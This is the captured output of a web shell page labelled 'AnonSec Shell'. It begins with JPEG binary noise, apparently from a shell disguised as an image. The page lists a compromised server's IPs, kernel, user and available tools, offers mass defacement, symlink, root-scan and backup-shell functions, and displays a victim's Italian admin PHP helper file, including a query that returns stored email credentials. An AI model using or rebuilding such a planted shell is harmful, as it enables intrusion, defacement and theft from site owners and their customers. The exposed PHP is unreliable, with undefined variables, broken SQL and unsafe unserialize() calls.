JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 52.223.31.75  /  Your IP : 172.31.12.187   [ Reverse IP ]
Web Server : Apache/2.4.67 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-184.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www_local/ascii/app/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www_local/ascii/app/helpers/content.php
<?php
class Content extends DBLink
{
	// The values of these constants MUST match the values in the DB.
		// Media types
	const MEDIATYPE_FILE = 1;
	const MEDIATYPE_YTVIDEO = 2;
  const MEDIATYPE_LINK = 3;
  const MEDIATYPE_LOCALVIDEO = 4;
	const MEDIATYPE_YOUTUBEUPLOAD = 5;
	
		// Pages
	const PAGE_GRAPH = 1;
	const PAGE_MENU = 2;
	const PAGE_OVERVIEW = 3;
	const PAGE_MORE = 4;
	const PAGE_POLICY = 5;
	const PAGE_EXPERTS = 6;
	const PAGE_LINKS = 7;
	const PAGE_EMPLOYEES = 8;
	const PAGE_LOGIN = 9;
	
     


	public function __construct()
	{
		parent::__construct(FILE_INI_MDADB);

        $this->SafeFetch("SET CHARACTER SET utf8 ");

	}
    
     public function getMenu($user_type_id, $parent_id = -1){
        $quser_type_id = $this->QuoteInt($user_type_id);
        $qparent_id = $this->QuoteInt($parent_id);
        $query = "SELECT * "
                ."FROM menu "
                ."WHERE user_type_id = $quser_type_id and parent = $qparent_id order by orderer";
        return $this->SafeFetch($query);

     }
      /*
     * Regione - provincia - comune
     * @author Angelo Pescatore
     * Gennaio 2016
     * 
     */
      public function getRegioni(){
        $query = "SELECT * FROM regione order by name";
        return $this->SafeFetch($query);

     }

     public function getProvince(){
        $query = "SELECT * FROM province order by nome_provincia ASC";
        // WHERE id_regione = ". $jid_regione . " order by nome_provincia ASC";
        return $this->SafeFetch($query);
    }

    public function getNazioni(){
        $query = "SELECT * FROM nazioni order by nome ASC";
        // WHERE id_regione = ". $jid_regione . " order by nome_provincia ASC";
        return $this->SafeFetch($query);

    }



    public function getComuni($id_provincia){
        if($id_provincia >0){
          $jid_provincia = $this->QuoteInt($id_provincia);
          $query = "SELECT * FROM comuni WHERE id_provincia = ". $jid_provincia . " order by nome_comune ASC";
        }else{
          $query = "SELECT * FROM comuni order by nome_comune ASC";
        }
        return $this->SafeFetch($query);

    }







    public function getPatercipazioniClienti($idcliente){
        $aidcliente = $this->QuoteInt($idcliente);
        $query = "SELECT partecipazione.idpratica, datainizio, titolo FROM partecipazione JOIN pratica on partecipazione.idpratica = pratica.idpratica JOIN afferenza on afferenza.idpratica = pratica.idpratica JOIN corso on afferenza.idcorso =corso.idcorso WHERE idcliente = ". $aidcliente;
        return $this->SafeFetch($query);

    }




////////FINE DA METTERE IN FILE ESTERNO ///////
/*
     * 
     * @author Giuseppe Paglialonga 
     * 
     *@Peo,
     * 
     */

    //marca

        public function deleteStat($id){
$aid = $this->QuoteInt($id);
        $query = "DELETE FROM stati where idstato = $aid";
        return $this->SafeInsert($query);
  }
  public function insertStat($nomestato,$descrizione){
  
    $anomestato=$this->quoteText($nomestato);
    $adescrizione=$this->quoteText($descrizione);
    $query = "INSERT INTO stati (nomestato, descrizione)   VALUES($anomestato,$adescrizione)";
      return $this->SafeExec($query);
  
  }
  public function editStat($idstato, $nomestato,$descrizione){
$aid=$this->quoteInt($idstato);
$anomestato=$this->quoteText($nomestato);
    $adescrizione=$this->quoteText($descrizione);
      $query = "UPDATE stati SET   nomestato=$anomestato, descrizione=$adescrizione WHERE idstato=$aid";
    
    return $this->SafeExec($query);
  }
public function deleteMarca($id){
$aid = $this->QuoteInt($id);
         $query = "DELETE FROM marca where idmarca = $aid";
        return $this->SafeInsert($query);
  }

public function insertMarca($nomeMarca,$fotoMarca){
 $aidMarca=$this->quoteInt($idMarca);
    $anomeMarca=$this->quoteText($nomeMarca);
    $afotoMarca=$this->quoteText($fotoMarca);
    $query = "INSERT INTO marca   (nomeMarca,fotoMarca)   VALUES($anomeMarca,$afotoMarca)";
      return $this->SafeExec($query);
  }

  public function editMarca($idMarca, $nomeMarca,$fotoMarca){

    $aidMarca=$this->quoteInt($idMarca);
    $anomeMarca=$this->quoteText($nomeMarca);
    $aidCategoria=$this->quoteInt($idCategoria);

    if($fotoMarca){
       $afotoMarca=$this->quoteText($fotoMarca);
       $query = "UPDATE marca SET  nomeMarca= $anomeMarca,  fotoMarca= $afotoMarca WHERE idmarca=$aidMarca";
    }else{
       $query = "UPDATE marca SET  nomeMarca= $anomeMarca WHERE idmarca=$aidMarca";
    }

    
    $this->SafeInsert($query);

    return true;
  }


  

  public function getBlog($where){
    
    $query = "SELECT blog.*, nomecategoria, CONCAT(t1.firstname, ' ', t1.lastname) as name_user_updated, CONCAT(t2.firstname, ' ', t2.lastname) as name_user_insert FROM blog LEFT JOIN user t2 ON t2.id_user = blog.id_user_insert LEFT JOIN user t1 ON t1.id_user = blog.id_user_updated LEFT JOIN categoriablog on blog.idcategoria = categoriablog.idcategoria";

    if($where){
      $where = $this->QuoteInt($where);
      $query.= "where blog.icategoria = $where";      
    }
    return $this->SafeFetch($query);
  }


  public function getCommenti($id_blog){   
    $id_blog = $this->QuoteInt($id_blog);
    $query = "SELECT * from commenti_blog WHERE id_blog = $id_blog";
    return $this->SafeFetch($query);
  }

  public function removeCommento($id){
    $aid = $this->QuoteInt($id);  
    $query = "DELETE FROM commenti_blog WHERE id = $aid";
    return $this->SafeExec($query);
  }

  public function deleteBlog($id){
      $aid = $this->QuoteInt($id);
        $query = "DELETE FROM blog where id = $aid";
        return $this->SafeInsert($query);
  }

  public function insertBlog($titolo, $testo, $idcategoria, $id_user, $link){
    $aid_user=$this->quoteInt($id_user);
    $atitolo=$this->quoteText($titolo);
    $atesto=$this->quoteText($testo);
    $alink=$this->quoteText($link);
    $aidcategoria=$this->quoteInt($idcategoria);
    $query = "INSERT INTO blog (titolo, testo, idcategoria, id_user_insert, id_user_updated, link) VALUES ($atitolo, $atesto, $afoto, $aidcategoria,$aid_user,$aid_user, $alink)";
    return $this->SafeExec($query);
  }

  public function updateBlog($id, $titolo, $testo, $idcategoria, $id_user, $link){
    $aid=$this->quoteInt($id);
    $aid_user=$this->quoteInt($id_user);
    $atitolo=$this->quoteText($titolo);
    $atesto=$this->quoteText($testo);
    $alink=$this->quoteText($link);
    $aidcategoria=$this->quoteInt($idcategoria);
    
    $query = "UPDATE blog SET  titolo= $atitolo, link=$alink, testo=$atesto, idcategoria=$aidcategoria, id_user_updated=$aid_user WHERE id=$aid";

    $this->SafeExec($query);
    return true;
  }


  public function getNotifiche(){
    $query = "SELECT * from notifiche";
    return $this->SafeFetch($query);
  }


  public function getSchedulatiOggi(){
    $query = "SELECT scheduler.id, scheduler.oggetto, scheduler.corpo, cliente.email from scheduler join cliente on scheduler.idcliente = cliente.idcliente WHERE data=CURDATE() and scheduler.inviata = 0";
    return $this->SafeFetch($query);
  }

  public function getSchedulatiOggiSec(){
    $query = "SELECT scheduler.id, scheduler.oggetto, scheduler.corpo, cliente.email from scheduler join cliente on scheduler.idcliente = cliente.idcliente WHERE data_secondo=CURDATE() and scheduler.inviata_seconda = 0";
    return $this->SafeFetch($query);
  }

  public function setSchedulatoInviatoSec($id){
    $aid=$this->quoteInt($id);
    $query = "UPDATE scheduler SET inviata_seconda=1 WHERE id=$aid";
    $this->SafeExec($query);
    return true;
  }
  public function setSchedulatoInviato($id){
    $aid=$this->quoteInt($id);
    $query = "UPDATE scheduler SET inviata=1 WHERE id=$aid";
    $this->SafeExec($query);
    return true;
  }
  

  public function getClientiNotifiche(){
    $query = "SELECT idcliente, CONCAT(ragioneSociale, ' (', codiceFiscale, ')' ) as cliente from cliente order by ragioneSociale";
    return $this->SafeFetch($query);
  }

  public function getclientischeduler(){
    $query = "SELECT idcliente, email, CONCAT(ragioneSociale, ' (', email, ')' ) as cliente from cliente order by ragioneSociale";
    return $this->SafeFetch($query);
  }

  public function getcorsischeduler(){
    $query = "SELECT idcorso, titolo as corso from corso order by titolo";
    return $this->SafeFetch($query);
  }

  public function getscheduler(){
    $query = "SELECT * from scheduler";
    return $this->SafeFetch($query);
  }

  public function inseriscischeduler($idcliente, $cliente, $data, $data_secondo, $tipologia, $idcorso, $corso, $corpo, $oggetto, $dataesame, $corpofield, $oggettofield){
    $data=$this->quoteText($this->convertData($data));
    $dataesame=$this->quoteText($this->convertData($dataesame));
    if($data_secondo && $data_secondo!="DATA_SECONDO"){
      $data_secondo=$this->quoteText($this->convertData($data_secondo));
    }else{
      $data_secondo="NULL";
    }
   
    $tipologia=$this->quoteInt($tipologia);
    $anota=$this->quoteText($nota);
    $atitolo=$this->quoteText($titolo); 

    $idcliente=$this->quoteInt($idcliente);
    $cliente=$this->quoteText($cliente);

    $idcorso=$this->quoteInt($idcorso);
    $corso=$this->quoteText($corso);

    $corpo=str_replace("\\'", "&apos;", $this->quoteText($corpo));
    $oggetto=str_replace("\\'", "&apos;", $this->quoteText($oggetto));
    $corpofield=str_replace("\\'", "&apos;", $this->quoteText($corpofiled));
    $oggettofield=str_replace("\\'", "&apos;", $this->quoteText($oggettofield));


    $query = "INSERT INTO scheduler (idcliente, cliente, data, data_secondo, tipologia, idcorso, corso, corpo, oggetto, dataesame, corpofield, oggettofield) VALUES ($idcliente, $cliente, $data, $data_secondo, $tipologia, $idcorso, $corso, $corpo, $oggetto, $dataesame, $corpofield, $oggettofield)";
    return $this->SafeExec($query); 
  }

  public function modificascheduler($id, $idcliente, $cliente, $data, $data_secondo, $tipologia, $idcorso, $corso, $corpo, $oggetto, $dataesame, $corpofield, $oggettofield){
    
    $aid=$this->quoteInt($id);

    $data=$this->quoteText($this->convertData($data));
    $dataesame=$this->quoteText($this->convertData($dataesame));
    if($data_secondo && $data_secondo!="DATA_SECONDO"){
      $data_secondo=$this->quoteText($this->convertData($data_secondo));
    }else{
      $data_secondo="NULL";
    }
   
    $tipologia=$this->quoteInt($tipologia);
    $anota=$this->quoteText($nota);
    $atitolo=$this->quoteText($titolo); 

    $idcliente=$this->quoteInt($idcliente);
    $cliente=$this->quoteText($cliente);

    $idcorso=$this->quoteInt($idcorso);
    $corso=$this->quoteText($corso);

    $corpo=$this->quoteText($corpo);
    $oggetto=$this->quoteText($oggetto);
    $corpofield=$this->quoteText($corpofield);
    $oggettofield=$this->quoteText($oggettofield);

    $query = "UPDATE scheduler SET idcliente=$idcliente, cliente=$cliente, data=$data, data_secondo=$data_secondo, tipologia=$tipologia, idcorso=$idcorso, corso=$corso, corpo=$corpo, oggetto=$oggetto, dataesame=$dataesame, corpofield=$corpofield, oggettofield=$oggettofield WHERE id=$aid";
    $this->SafeExec($query);
    return true;

  }

  public function cancellascheduler($id){
    $aid=$this->quoteInt($id);
    $query = "DELETE FROM scheduler where id = $aid";
    return $this->SafeInsert($query);
  }


  

  public function leggiNotifica($id){
    $aid=$this->quoteInt($id);
    $query = "UPDATE notifiche SET letto=1 WHERE id=$aid";
    $this->SafeExec($query);
    return true;
  }
   private function convertData($d){
      $da = explode(" ", $d)[0];
      $dat = explode("-", $da);
      if(strlen($dat[0])==4){
        return $da;
      }else{
        return $dat[2]."-".$dat[1]."-".$dat[0];  
      }
  }

  public function modificaNotifica($id, $idcliente, $cliente, $data, $priorita, $nota, $titolo){
    $aid=$this->quoteInt($id);
    $adata=$this->quoteText($this->convertData($data));
    $apriorita=$this->quoteInt($priorita);
    $anota=$this->quoteText($nota);
    $atitolo=$this->quoteText($titolo);
    if(intval($idcliente)){
      $aidcliente=$this->quoteInt($idcliente);
      $acliente=$this->quoteText($cliente);
      $query = "UPDATE notifiche SET letto=0, idcliente=$aidcliente, titolo=$atitolo, cliente=$acliente, data=$adata, priorita=$apriorita, nota=$anota WHERE id=$aid";
    }else{
      $query = "UPDATE notifiche SET letto=0, idcliente=null, titolo=$atitolo, cliente=null, data=$adata, priorita=$apriorita, nota=$anota WHERE id=$aid";
    }
    return $this->SafeExec($query);
  }



  public function inserisciNotifica($idcliente, $cliente, $data, $priorita, $nota, $titolo){
    
    $adata=$this->quoteText($this->convertData($data));
    $apriorita=$this->quoteInt($priorita);
    $anota=$this->quoteText($nota);
    $atitolo=$this->quoteText($titolo); 

    if(intval($idcliente)){
      $aidcliente=$this->quoteInt($idcliente);
      $acliente=$this->quoteText($cliente);
      $query = "INSERT INTO notifiche (idcliente, cliente, data, priorita, nota, titolo) VALUES ($aidcliente, $acliente, $adata, $apriorita, $anota, $atitolo)";
    }else{
      $query = "INSERT INTO notifiche (data, priorita, nota, titolo) VALUES ($adata, $apriorita, $anota, $atitolo)";
    }
    
    return $this->SafeExec($query);
  }

  public function cancellaNotifica($id){
    $aid=$this->quoteInt($id);
    $query = "DELETE FROM notifiche where id = $aid";
    return $this->SafeInsert($query);
  }

  public function getNumeroOrdiniNonLetti(){
       $query = "SELECT count(*) as conta FROM ordine where visualizzato= 0";
        $one= $this->SafeFetch($query)[0]['conta'];
        return $one;
  }


  public function getNumeroNotificheNonLetti(){
       $query = "SELECT count(*) as conta FROM notifiche where letto= 0 and data >= NOW() - INTERVAL 1 DAY";
        $one= $this->SafeFetch($query)[0]['conta'];
        return $one;
  }

  //ordine
   public function getOrdine($id){
      $aid = $this->QuoteInt($id);
       $query = "SELECT * FROM ordine where id= $aid";
        $one= $this->SafeFetch($query);
        return $one;
  }
  public function getOrdini(){
       $query = "SELECT * FROM ordine";
        $one= $this->SafeFetch($query);
        return $one;
  }
  public function deleteOrdine($id){
      $aid = $this->QuoteInt($id);
        $query = "DELETE FROM ordine where id = $aid";
        return $this->SafeInsert($query);
  }


      
     public function memorizzaPagamento($statuscode, $status, $codice_pagamento, $tipologia) {
        //inserisco nel db
          $statuscode        = $this->quoteText($statuscode);
          $status        = $this->quoteText($status);
          $tipologia        = $this->quoteText($tipologia);
          $codice_pagamento        = $this->quoteText($codice_pagamento);

         $qu = "UPDATE ordine SET statuscode= $statuscode, status=$status, tipologia=$tipologia, visualizzato=1 WHERE codice_pagamento=$codice_pagamento";

         return $this->SafeExec($qu);
        
}




  public function insertOrdine($statuscode, $status, $slug_corso, $titolo_corso, $data_pagamento, $prezzo_vendita, $nome, $email, $id_user_paypal, $via, $area1, $area2, $codice_postale, $codice_paese, $codice_pagamento, $metodo_pagamento, $tipologia){
        $statuscode        = $this->quoteText($statuscode);
        $status        = $this->quoteInt($status);
        $slug_corso        = $this->quoteText($slug_corso);
        $titolo_corso        = $this->quoteText($titolo_corso);
        $data_pagamento        = $this->quoteText($data_pagamento);
        $prezzo_vendita        = $this->quoteText($prezzo_vendita);
        $nome        = $this->quoteText($nome);
        $email        = $this->quoteText($email);
        $id_user_paypal        = $this->quoteText($id_user_paypal);
        $via        = $this->quoteText($via);
        $area1        = $this->quoteText($area1);
        $area2        = $this->quoteText($area2);
        $codice_postale        = $this->quoteText($codice_postale);
        $codice_paese        = $this->quoteText($codice_paese);
        $metodo_pagamento        = $this->quoteText($metodo_pagamento);
        $codice_pagamento        = $this->quoteText($codice_pagamento);
        $tipologia        = $this->quoteText($tipologia);
        
        $query = "INSERT INTO ordine (statuscode, status, slug_corso, titolo_corso, data_pagamento, prezzo_vendita, nome, email, id_user_paypal, via, area1, area2, codice_postale, codice_paese, metodo_pagamento, codice_pagamento, tipologia) VALUES($statuscode, $status, $slug_corso, $titolo_corso, $data_pagamento, $prezzo_vendita, $nome, $email, $id_user_paypal, $via, $area1, $area2, $codice_postale, $codice_paese, $metodo_pagamento, $codice_pagamento, $tipologia)";
        
        $toRet =$this->SafeInsert($query);
        return $toRet;
      }
    
    public function updateOrdine($id, $statuscode, $status, $slug_corso, $titolo_corso, $data_pagamento, $prezzo_vendita, $nome, $email, $id_user_paypal, $via, $area1, $area2, $codice_postale, $codice_paese, $codice_pagamento, $metodo_pagamento){
      
        
        $id = $this->quoteInt($id);
        $statuscode        = $this->quoteText($statuscode);
        $status        = $this->quoteInt($status);
        $slug_corso        = $this->quoteText($slug_corso);
        $titolo_corso        = $this->quoteText($titolo_corso);
        $data_pagamento        = $this->quoteText($data_pagamento);
        $prezzo_vendita        = $this->quoteText($prezzo_vendita);
        $nome        = $this->quoteText($nome);
        $email        = $this->quoteText($email);
        $id_user_paypal        = $this->quoteText($id_user_paypal);
        $via        = $this->quoteText($via);
        $area1        = $this->quoteText($area1);
        $area2        = $this->quoteText($area2);
        $codice_postale        = $this->quoteText($codice_postale);
        $codice_paese        = $this->quoteText($codice_paese);
        $metodo_pagamento        = $this->quoteText($metodo_pagamento);
        $codice_pagamento        = $this->quoteText($codice_pagamento);
        
        $query        = "UPDATE ordine SET statuscode=$statuscode, status=$status, slug_corso=$slug_corso, titolo_corso=$titolo_corso, data_pagamento=$data_pagamento, prezzo_vendita=$prezzo_vendita, nome=$nome, email=$email, id_user_paypal=$id_user_paypal, via=$via, area1=$area1, area2=$area2, codice_postale=$codice_postale, codice_paese=$codice_paese, codice_pagamento=$codice_pagamento, metodo_pagamento=$metodo_pagamento WHERE id=$id";
        
        return $this->SafeExec($query);
        
        
      }

      public function updateOrdineConCode($codice_pagamento, $statuscode, $status, $slug_corso, $titolo_corso, $data_pagamento, $prezzo_vendita, $nome, $email, $id_user_paypal, $via, $area1, $area2, $codice_postale, $codice_paese){
      
        
        
        $statuscode        = $this->quoteText($statuscode);
        $status        = $this->quoteText($status);
        $slug_corso        = $this->quoteText($slug_corso);
        $titolo_corso        = $this->quoteText($titolo_corso);
        $data_pagamento        = $this->quoteText($data_pagamento);
        $prezzo_vendita        = $this->quoteText($prezzo_vendita);
        $nome        = $this->quoteText($nome);
        $email        = $this->quoteText($email);
        $id_user_paypal        = $this->quoteText($id_user_paypal);
        $via        = $this->quoteText($via);
        $area1        = $this->quoteText($area1);
        $area2        = $this->quoteText($area2);
        $codice_postale        = $this->quoteText($codice_postale);
        $codice_paese        = $this->quoteText($codice_paese);
        $codice_pagamento        = $this->quoteText($codice_pagamento);
        
        $query        = "UPDATE ordine SET statuscode=$statuscode, status=$status, slug_corso=$slug_corso, titolo_corso=$titolo_corso, data_pagamento=$data_pagamento, prezzo_vendita=$prezzo_vendita, nome=$nome, email=$email, id_user_paypal=$id_user_paypal, via=$via, area1=$area1, area2=$area2, codice_postale=$codice_postale, codice_paese=$codice_paese, visualizzato=1 WHERE codice_pagamento=$codice_pagamento";
        
        return $this->SafeExec($query);
        
        
      }

      public function visualizzatoOrdine($id, $visualizzato){
      
        
        $id = $this->quoteInt($id);
        $visualizzato        = $this->quoteInt($visualizzato);
        $query        = "UPDATE ordine SET  visualizzato=$visualizzato WHERE id=$id";
        return $this->SafeExec($query);
      }

  //**********


  public function getCategorieBlog(){
       $query = "SELECT * FROM categoriablog";
        $one= $this->SafeFetch($query);
        return $one;
  }
  public function deleteCategoriaBlog($id){
      $aid = $this->QuoteInt($id);
        $query = "DELETE FROM categoriablog where idcategoria = $aid";
        return $this->SafeInsert($query);
  }

  public function insertCategoriaBlog($nome)
      {
        $anome        = $this->quoteText($nome);
        
        $query = "INSERT INTO categoriablog   (nomecategoria) VALUES($anome)";
        
        $toRet =$this->SafeInsert($query);
        return $toRet;
      }
    
    public function updateCategoriaBlog($idCategoria, $nome)
      {
        
        $aidCategoria = $this->quoteInt($idCategoria);
        $anome        = $this->quoteText($nome);
        $alogo        = $this->quoteText($logo);
        $query        = "UPDATE categoriablog SET  nomecategoria= $anome WHERE idcategoria=$aidCategoria";
        
        return $this->SafeExec($query);
        
        
      }

      public function aggiornaUrlCategoria( $idcategoria, $logo)
      {
        
        $idCategoria = $this->quoteInt($idcategoria);
        $logo        = $this->quoteText($logo);
        $query        = "UPDATE categoriablog SET fotocategoria= $logo WHERE idcategoria=$idCategoria";
        
        return $this->SafeExec($query);
        
        
      }

      public function aggiornaUrlArticoli( $id, $logo)
      {
        
        $id = $this->quoteInt($id);
        $logo        = $this->quoteText($logo);
        $query        = "UPDATE blog SET foto= $logo WHERE id=$id";
        
        return $this->SafeExec($query);
        
        
      }

      public function getConfigurazioneEmailInterno(){
        if ($_SERVER['HTTP_HOST']=="admin.scuolabuona.it") {
          $dominio = $this->quoteText("scuolabuona.it");
        }else if ($_SERVER['HTTP_HOST']=="admin.minerva-form.it") {
          $dominio = $this->quoteText("minerva-form.it");
        }else{
          $dominio = $this->quoteText("asciiformazione.it");
        }

        $query = "SELECT host_email as host, username_email as username, password_email as password, port_email as port, nome_mittente_email, nome_mittente_email as nome_mittente, email_mittente_email as email_mittente FROM configurazione WHERE dominio=$dominio";
        return $this->SafeFetch($query)[0];
      }

      public function setConfigurazioneEmail($host_email, $port_email,$username_email, $password_email, $nome_mittente_email, $email_mittente_email){
        $port_email=$this->quoteInt($port_email);
        $host_email=$this->quoteText($host_email);
        $username_email=$this->quoteText($username_email);
        $password_email=$this->quoteText($password_email);
        $nome_mittente_email=$this->quoteText($nome_mittente_email);
        $email_mittente_email=$this->quoteText($email_mittente_email);
        $query = "UPDATE configurazione SET host_email=$host_email, username_email=$username_email, password_email=$password_email, port_email =$port_email, nome_mittente_email=$nome_mittente_email, email_mittente_email=$email_mittente_email";
        return $this->SafeExec($query);
      }
      

      public function getConfigurazioneEmail(){
        $query = "SELECT * FROM configurazione";
        return $this->SafeFetch($query)[0];
      }

//device

    public function deleteDevice($id){
$aid = $this->QuoteInt($id);
        $query = "DELETE FROM device where iddevice = $aid";
        return $this->SafeInsert($query);
  }

public function insertDevice($idMarca,$modello,$fotoDevice, $idCategoria){
  $aidMarca=$this->quoteInt($idMarca);
    $amodello=$this->quoteText($modello);
    $afotoDevice=$this->quoteText($fotoDevice);
    $aidCategoria=$this->quoteInt($idCategoria);
    $query = "INSERT INTO device (idMarca,modello,fotoDevice,idCategoria)   VALUES($aidMarca,$amodello,$afotoDevice,$aidCategoria)";
      return $this->SafeExec($query);
  
  }

  public function editDevice($idDevice, $idMarca,$modello,$fotoDevice, $idCategoria){

    $aidDevice=$this->quoteInt($idDevice);
    $aidMarca=$this->quoteInt($idMarca);
    $amodello=$this->quoteText($modello);
    $aidCategoria=$this->quoteInt($idCategoria);
    if($fotoDevice){
      $afotoDevice=$this->quoteText($fotoDevice);   
      $query = "UPDATE device SET   idMarca= $aidMarca, modello= $amodello,fotoDevice= $afotoDevice,idCategoria= $aidCategoria WHERE iddevice=$aidDevice";
    }else{
      $query = "UPDATE device SET   idMarca= $aidMarca, modello= $amodello, idCategoria= $aidCategoria WHERE iddevice=$aidDevice";
    }
    $this->SafeExec($query);
    return true;
  }

//cliente
    public function deleteCliente($id){
      $aid = $this->QuoteInt($id);
        $query = "DELETE FROM cliente where id = $aid";
        return $this->SafeInsert($query);
  }

public function insertCliente($ragioneSociale, $indirizzo, $citta, $piva, $codicefiscale, $telefono, $cellulare, $email, $note, $sede){
    $aragioneSociale=$this->quoteText($ragioneSociale);
    $aindirizzo=$this->quoteText($indirizzo);
    $acitta=$this->quoteText($citta);
    $apiva=$this->quoteText($piva);
    $acodicefiscale=$this->quoteText($codicefiscale);
    $atelefono=$this->quoteText($telefono);
    $acellulare=$this->quoteText($cellulare);
    $aemail=$this->quoteText($email);
    $anote=$this->quoteText($note);
    $asede=$this->quoteText($sede);
    $query = "INSERT INTO cliente   (ragioneSociale,indirizzo,citta,piva,codicefiscale,telefono,cellulare,email,note,sede)   VALUES($aragioneSociale,$aindirizzo,$acitta,$apiva,$acodicefiscale,$atelefono,$acellulare,$aemail,$anote,$asede)";
      return $this->SafeInsert($query);
  }

  public function editCliente($idCliente, $ragioneSociale, $indirizzo, $citta, $piva, $codicefiscale, $telefono, $cellulare, $email, $note, $sede){

    $aidCliente=$this->quoteInt($idCliente);
    $aragioneSociale=$this->quoteText($ragioneSociale);
    $aindirizzo=$this->quoteText($indirizzo);
    $acitta=$this->quoteText($citta);
    $apiva=$this->quoteText($piva);
    $acodicefiscale=$this->quoteText($codicefiscale);
    $atelefono=$this->quoteText($telefono);
    $acellulare=$this->quoteText($cellulare);
    $aemail=$this->quoteText($email);
    $anote=$this->quoteText($note);
    $asede=$this->quoteText($sede);
    $query = "UPDATE cliente SET  ragioneSociale= $aragioneSociale,  indirizzo= $aindirizzo,citta= $acitta,piva= $apiva,codicefiscale= $acodicefiscale,telefono= $atelefono,cellulare= $acellulare,email= $aemail,note= $anote,sede= $asede WHERE idcliente=$aidCliente";
      $this->SafeExec($query);
      return true;
   
  }
  

  


public function deleteCategor($id){
      $aid = $this->QuoteInt($id);
        $query = "DELETE FROM categoria where idcategoria = $aid";
        return $this->SafeInsert($query);
  }

public function insertCategor($nome, $foto){

    $anome=$this->quoteText($nome);
    $afoto=$this->quoteText($foto);
    $query = "INSERT INTO categoria (nomecategoria, fotocategoria) VALUES ($anome, $afoto)";
      return $this->SafeExec($query);
  }

  public function editCategor($idCategoria, $nome, $foto){
    $aidCategoria=$this->quoteInt($idCategoria);
    $anome=$this->quoteText($nome);
    if($foto){
      $afoto=$this->quoteText($foto);
      $query = "UPDATE categoria SET  nomecategoria= $anome,  fotocategoria= $afoto WHERE idcategoria=$aidCategoria";
    }else{
      $query = "UPDATE categoria SET  nomecategoria= $anome WHERE idcategoria=$aidCategoria";
    }
    $this->SafeExec($query);
    return true;
  }


public function deleteRiparazione($id){
        
        $aid = $this->QuoteInt($id);
        $query = "DELETE FROM riparazione where idRiparazione = $aid";
        return $this->SafeInsert($query);
    
    }

public function insertRiparazione($idDevice, $idcliente, $dataIngresso,$dataRiconsegna,$serialeImei,$accessoriConsegnati,$descrizioneProblema,$descrizioneRiparazione,$fotoRiparazione,$totaleCostoRiparazione, $preventivoRiparazione, $note, $sede, $stato, $prodotti){

    $aidcliente=$this->quoteInt($idcliente);
    $astato=$this->quoteInt($stato);
    $aidDevice=$this->quoteInt($idDevice);
    $adataIngresso=$this->quoteText($dataIngresso);
    $asede=$this->quoteText($sede);
    $adataRiconsegna=$this->quoteText($dataRiconsegna);
    $aserialeImei=$this->quoteText($serialeImei);
    $aaccessoriConsegnati=$this->quoteText($accessoriConsegnati);
    $adescrizioneProblema=$this->quoteText($descrizioneProblema);
    $adescrizioneRiparazione=$this->quoteText($descrizioneRiparazione);
    $afotoRiparazione=$this->quoteText($fotoRiparazione);
    $atotaleCostoRiparazione=$this->quoteText($totaleCostoRiparazione);
    $apreventivoRiparazione=$this->quoteText($preventivoRiparazione);
    $anote=$this->quoteText($note);
     $query = "INSERT INTO riparazione (iddevice,idcliente,dataingresso,datariconsegna,serialeimei,accessoriconsegnati,descrizioneproblema,descrizioneriparazione,fotoriparazione,totalecostoriparazione,preventivoriparazione,note,stato, sede) 
    VALUES ($aidDevice, $aidcliente, $adataIngresso, $adataRiconsegna, $aserialeImei,$aaccessoriConsegnati,$adescrizioneProblema,   $adescrizioneRiparazione,    $afotoRiparazione,   $atotaleCostoRiparazione,   $apreventivoRiparazione, $anote, $astato, $asede )";
    

    $idriparazione = $this->SafeInsert($query);
    if($idriparazione){

      $aidriparazione = $this->quoteInt($idriparazione);
      //per ogni prodotti
      $controllo = 1;
       
      $prodotti = unserialize($prodotti);
      foreach ($prodotti as $key => $value) {
          $aidprodotto = $this->quoteInt($value->id);
          $aquantita = $this->quoteInt($value->quantita);
          $aquery = "INSERT INTO riparazioneprodotti (idriparazione, idprodotto, quantita) VALUES ($aidriparazione, $aidprodotto, $aquantita) ";
          if(!$this->SafeExec($aquery)){
